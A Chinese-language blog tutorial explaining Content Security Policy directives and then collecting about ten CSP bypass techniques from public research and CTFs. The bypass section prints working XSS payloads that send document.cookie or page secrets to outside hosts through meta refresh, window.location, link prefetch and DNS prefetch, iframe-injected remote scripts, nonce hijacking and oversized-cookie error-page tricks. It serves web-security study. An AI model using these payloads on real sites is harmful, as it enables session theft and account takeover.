CSP策略及绕过技巧小结
/0x01 何为CSP
CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。
0x02 CSP语法
CSP中常见的header字段为Content-Security-Policy。
一个CSP头由多组CSP策略组成,中间由分号分隔,如下:
1 | Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline' |
其中每一组策略包含一个策略指令和一个内容源列表。
策略指令
default-src
default-src作为所有其他指令的备用,一般来说default-src ‘none’; script-src ‘self’这样的情况就会是script-src遵循self,其他的都会使用none。也就是说,除了被设置的指令以外,其余指令都会被设置为default-src指令所设置的属性。
script-src
script-src指令限制了所有js脚本可以被执行的地方,包括通过链接方式加载的脚本url以及所有内联脚本,甚至包括各种方式的引用。其中还有一个很重要的参数叫’unsafe-inline’,如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的。
对于这个属性有个特殊的配置叫unsafe-eval,它会允许下面几个函数:
1 | `eval()Function()setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.` |
style-src
style-src定义了页面中CSS样式的有效来源,包括下面三种引用的css属性,style也有个‘unsafe-inline’这个参数,同理会允许所有的内联css。
1、第一种是通过link标签加载的css,类似于<link href="001.css" type="text/css" rel="Stylesheet"/>
2、当然还有style标签
1 | <style type="text/css"> |
3、还有通过@import引入的样式表
1 | < STYLE TYPE="text/css"> |
4、内联样式表,类似于style="font-size:10px;font-color:#ff0000"
img-src
img-src定义了页面中图片和图标的有效来源。
font-src
font-src定义了字体加载的有效来源。
connect-src
connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。如下例子:
1 | `<a ping="https://not-example.com">...<script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://not-example.com/'); xhr.send(); var ws = new WebSocket("https://not-example.com/"); var es = new EventSource("https://not-example.com/"); navigator.sendBeacon("https://not-example.com/", { ... });</script>` |
child-src
child-src 指定定义了 web workers 以及嵌套的浏览上下文(如frame和iframe)的源。
会匹配iframe和frame标签,如下:
1 | 首先设置csp |
manifest-src
manifest-src指令限制了从应用清单可以加载的url。
这个属性不太熟,比较常见的就是link:
1 | 举个例子: |
内容源
内容源有三种:源列表、关键字和数据。
源列表
源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, ‘*‘),端口号也可以使用通配符 (同样是 ‘*‘) 来表明所有合法端口都是有效来源。主机通过空格分隔。
有效的主机表达式包括:
http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)
mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)
https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)
如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。
关键字
- ‘none’
代表空集;即不匹配任何 URL。两侧单引号是必须的。 - ‘self’
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。 - ‘unsafe-inline’
允许使用内联资源,如内联的script元素、javascript: URL、内联的事件处理函数和内联的style元素,两侧单引号是必须的。 - ‘unsafe-eval’
允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。
数据
data:
允许data: URI作为内容来源。
mediastream:
允许mediastream: URI作为内容来源。
1 | Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream: |
0x03 CSP绕过
绕过场景其实是很多的,这里慢慢来收集吧,主要是先收集一些广泛公开的和CTF中遇到的吧。
1、绕过default-src ‘none’
策略为:Content-Security-Policy: default-src ‘none’;
这种情况下,可以使用meta标签实现跳转:
1 | <meta http-equiv="refresh" content="1;url=https://www.mi1k7ea.com/x.php?c=[cookie]" > |
Demo如下:
1 | <?php |
当我们输入如下内容可以成功跳转至目标页面,当然也可以将cookie带出来:
1 | <meta http-equiv="refresh" content="1;url=http://192.168.43.201:8000/x.php?c=mi1k7ea" > |
2、形同虚设的script-src ‘unsafe-inline’
策略中有一条为:script-src ‘unsafe-inline’; ,这条策略相当于直接让CSP几乎沦陷了大半。
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
1 | <script>window.location="https://www.mi1k7ea.com/x.php?c=[cookie]";</script> |
Demo代码还是之前的,把CSP修改一下,添加script-src ‘unsafe-inline’;即可。
输入如下标签直接跳转并成功返回cookie:
1 | <script>window.location.href='http://192.168.43.201:8000/?cookie='+document.cookie</script> |
内嵌script都可以执行,当然可以直接执行本页面的JS,如输入<script>alert(document.cookie)</script>
即可,这里的利用和XSS利用一致,没有啥绕过技巧,不再累赘。
3、绕过xx-src *
*号即允许匹配任何URL请求。但一般情况很少会遇到default-src ;或大部分xx-src ;这样的CSP策略,举一个简单的例子:
1 | Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src *; script-src http://xxxxx/js/ 'nonce-xxx';font-src http://xxxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self' |
很明显地可以找到,frame-src *,其对于iframe的来源并没有做任何限制,当然实际环境可能需要iframe标签来内联来包含别的页面。
可以利用CSRF漏洞。这里直接输入<iframe src="https://www.mi1k7ea.com"></iframe>
来测试:
当然,iframe也可以内嵌外部弹框的JS:
查看页面元素,可以看到iframe内嵌包含进来的是<script>alert(1)</script>
,其可以正常执行而无视掉script-src http://xxxxx/js/ 'nonce-xxx';
的CSP策略。
4、利用link绕过xx-src self
CSP策略中xx-src self的设置能够使大部分的XSS和CSRF都会失效,但link标签的预加载功能可以进行绕过。
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止):
1 | <link rel="prefetch" href="https://www.mi1k7ea.com/c.php?c=[cookie]"> |
在Firefox下,可以将cookie作为子域名,用DNS预解析的方式把cookie带出去,查看DNS服务器的日志就能得到cookie:
1 | <link rel="dns-prefetch" href="//[cookie].mi1k7ea.com"> |
在后面的iframe中会有结合利用的示例。
5、利用浏览器补全绕过script nonce
有时候CSP策略可能会设置成如下:
1 | Content-Security-Policy: default-src 'none';script-src 'nonce-xxx' |
这种情况下,script标签需要带上正确的nonce属性值才能执行JS代码。
如果,出现了脚本插入点在含有nonce属性值的script标签前面的情况时,如:
1 | <p>插入点</p> |
可以插入如下内容来利用浏览器补全功能:
1 | <script src="http://192.168.248.1/a.js" a=" |
最终形成如下页面结构:
1 | <p><script src="http://192.168.248.1/a.js" a="</p> |
也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。
还有一个注意点,上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行。
Demo
1 | <?php |
当我们输入<script src="http://192.168.43.201/a.js" a="
时即会弹框:
查看元素,看到输入的script标签的a属性的双引号将后面含有nonce的script标签第一个含有双引号的属性都给闭合了,成功劫持了nonce属性进而加载外部JS弹框:
值得注意的就是,要想成功利用在nonce属性前需要存在一个用引号括起来的属性,不然会失效。
另外,在之前做过的一道CSP题目中,也有应用到这种方法,可以参考学习一下:一道绕过CSP的XSS题目
6、利用Gadgets和strict-dynamic/unsafe-eval绕过
即重用Gadgets代码来绕过CSP,具体可参考Black Hat 2017的ppt,上面总结了可以被用来绕过CSP的一些JS库。
例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP:
1 | <div data-role=popup id='<script>alert(1)</script>'></div> |
在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie:
1 | <amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel> |
在做过的一道CSP题目中,也有应用到这种方法,可以参考学习一下:一道绕过CSP的XSS题目
7、利用iframe绕过
(1)如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:
1 | <iframe src="B"></iframe> |
下面简单地搞个示例。
1.php代码,有CSP限制,但可以通过iframe加载同源的页面:
1 | <?php |
2.php简单写为<script>alert('Mi1k7ea')</script>
。
在访问1.php时,直接输入script标签是无法执行弹框的,但可以通过iframe引入同源的2.php来执行该页面的JS代码,输入<iframe src='http://127.0.0.1/2.php'></iframe>
:
(2)在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx“页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库:
1 | <iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe> |
(3)绕过sandbox:
情景1——未开启X-Frame-Options:DENY
Demo代码如下:
1 | <?php |
当CSP设置为allow-popups开启时,window.open等就可以打开新的窗口,这时直接就能利用了,直接输入如下内容就能顺利地带出cookie信息(在URL栏输入前记得先进行URL编码):
1 | ?xss=window.open('//xxx.ceye.io/?'+escape(document.cookie)) |
这里加载同源的js文件是没有问题的,其中a.js的代码为alert(1),构造如下::
1 | xss=f=document.createElement("script");f.src="http://127.0.0.1/a.js";document.body.appendChild(f); |
但是有个问题,要是远程加载JS文件是不满足CSP规则的。这里我们换个源就知道了:
1 | xss=f=document.createElement("script");f.src="http://127.0.0.1:8000/a.js";document.body.appendChild(f); |
显示拒绝加载了,因为CSP中有一条default-src ‘self’的规则限制了。
这里可以通过iframe引入外部js,将src设置为同域的,从而绕过CSP的default-src ‘self’规则。
1 | f=document.createElement("iframe"); |
没有问题,成功引入外部js弹框:
当然也能把浏览器的数据带出来,引用外部新的c.js:
1 | window.open('//xxx.ceye.io/?'+escape(document.cookie)) |
输入:
1 | xss=f=document.createElement(%22iframe%22);f.id=%22pwn%22;f.src=%22./test.txt%22;f.onload=()=%3E{x=document.createElement(%27script%27);x.src=%27//192.168.17.148:81/c.js%27;pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f); |
这里没有出现网上博客说的带不回的问题。
下面也可以尝试使用DNS通道来传递cookie。
1 | dc = document.cookie; |
在URL栏输入的时候记得进行URL编码,然后就可以看到打到cookie了:
除此之外,我们还可以获取页面中父窗口标签的内容,在php代码中加上id为secret的标签内容,注意标签必须放在获取URL参数的script标签之上,否则会报错找不到:
1 | <?php |
改下第一行的内容获取id为secret的父窗口标签即可:
1 | dc = top.document.getElementById("secret").innerHTML; |
直接打到父窗口标签内容:
情景2——开启X-Frame-Options:DENY
如果header中添加了X-Frame-Options:DENY,则不能如此直接地利用前面的exp。
这里换个示例:http://hsts.pro/csp.php
访问,默认弹框显示welcome,可以看到站点是开了X-Frame-Options:DENY的:
查看页面源码,可以看到和之前的是差不多的,在xss参数中获取URL输入然后嵌入script标签中,其中还含有id为secret的标签:
1 | <html> |
这里可使用CSP的第二个常见错误,即在返回Web扫描程序错误时没有提供保护性头部。若要验证这一点,最简单方法是尝试打开并不存在的网页。因为许多资源只为含有200代码的响应提供了X-Frame-Options头部,而没有为包含404代码的响应提供相应的头部。
为了强制NGINX返回“400 bad request”,你唯一需要做的,就是使用/../访问其上一级路径中的资源。为防止浏览器对请求进行规范化处理,导致/../被/所替换,对于中间的两个点号和最后一个斜线,我们可以使用unicode码来表示。
1 | frame=document.createElement("iframe"); |
直接在控制台插入即可,当然也可以通过xss参数输入:
上payload获取父窗口标签内容:
1 | frame=document.createElement("iframe"); |
当然,也可以访问不存在的页面,造成404错误,注意会弹两次框:
1 | frame=document.createElement("iframe"); |
第二种让Web服务器返回错误的方法是让URL超过所允许的长度。
例如NGINX和Apache等Web服务器的默认URL长度通常被设置为不超过8kB。
1 | frame=document.createElement("iframe"); |
第三种欺骗服务器返回错误的方法是触发cookie长度限制。
这是因为当前浏览器支持的cookie越来越长,已经超出了Web服务器所能处理的范围。
1、创建一个巨型的 cookie
1 | for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)}; |
2、使用任何地址打开iframe,都会导致服务器返回错误(通常没有XFO或CSP)
3、删除巨型cookie:
1 | for(var i=0;i<5;i++){document.cookie=i+”=”} |
4、将自己的js脚本写入frame中,用以窃取其父frame中的秘密信息。
payload:
1 | for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)}; |
8、利用meta绕过CSP nonce
meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce:
1 | <meta http-equiv="cache-control" content="public"> |
meta可以设置Cookie(Firefox下),可以结合self-xss利用:
1 | <meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 |
9、利用浏览器缓存绕过script nonce
整个原理过程以Demo为例,看图吧:
csp-test.php,开启了nonce script规则,并且有XSS点:
1 | <?php |
然后我们需要利用iframe引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个
<textarea>
标签来吃掉后面的script标签,这样就可以获取内容。
attack.php:
1 | <iframe id="frame" src="http://127.0.0.1/csp-test.php#<form method='post' action='http://127.0.0.1/nonce_receiver.php'><input type='submit' value='test!'><textarea name='nonce'>"> |
然后我们需要一个页面去获取nonce字符串,为了反复获得,这里需要开启session。
nonce_receiver.php:
1 |
|
一切就绪了,唯一的问题就是在nonce script上,由于csp开启的问题,我们没办法自动实现自动提交,也就是攻击者必须要使按钮被点击,才能实现一次攻击。
可以看到csp-test.php中的cookie被带回来了:
10、利用wave文件绕过script-src ‘self’
具体参考使用 Wave 文件绕过 CSP 策略。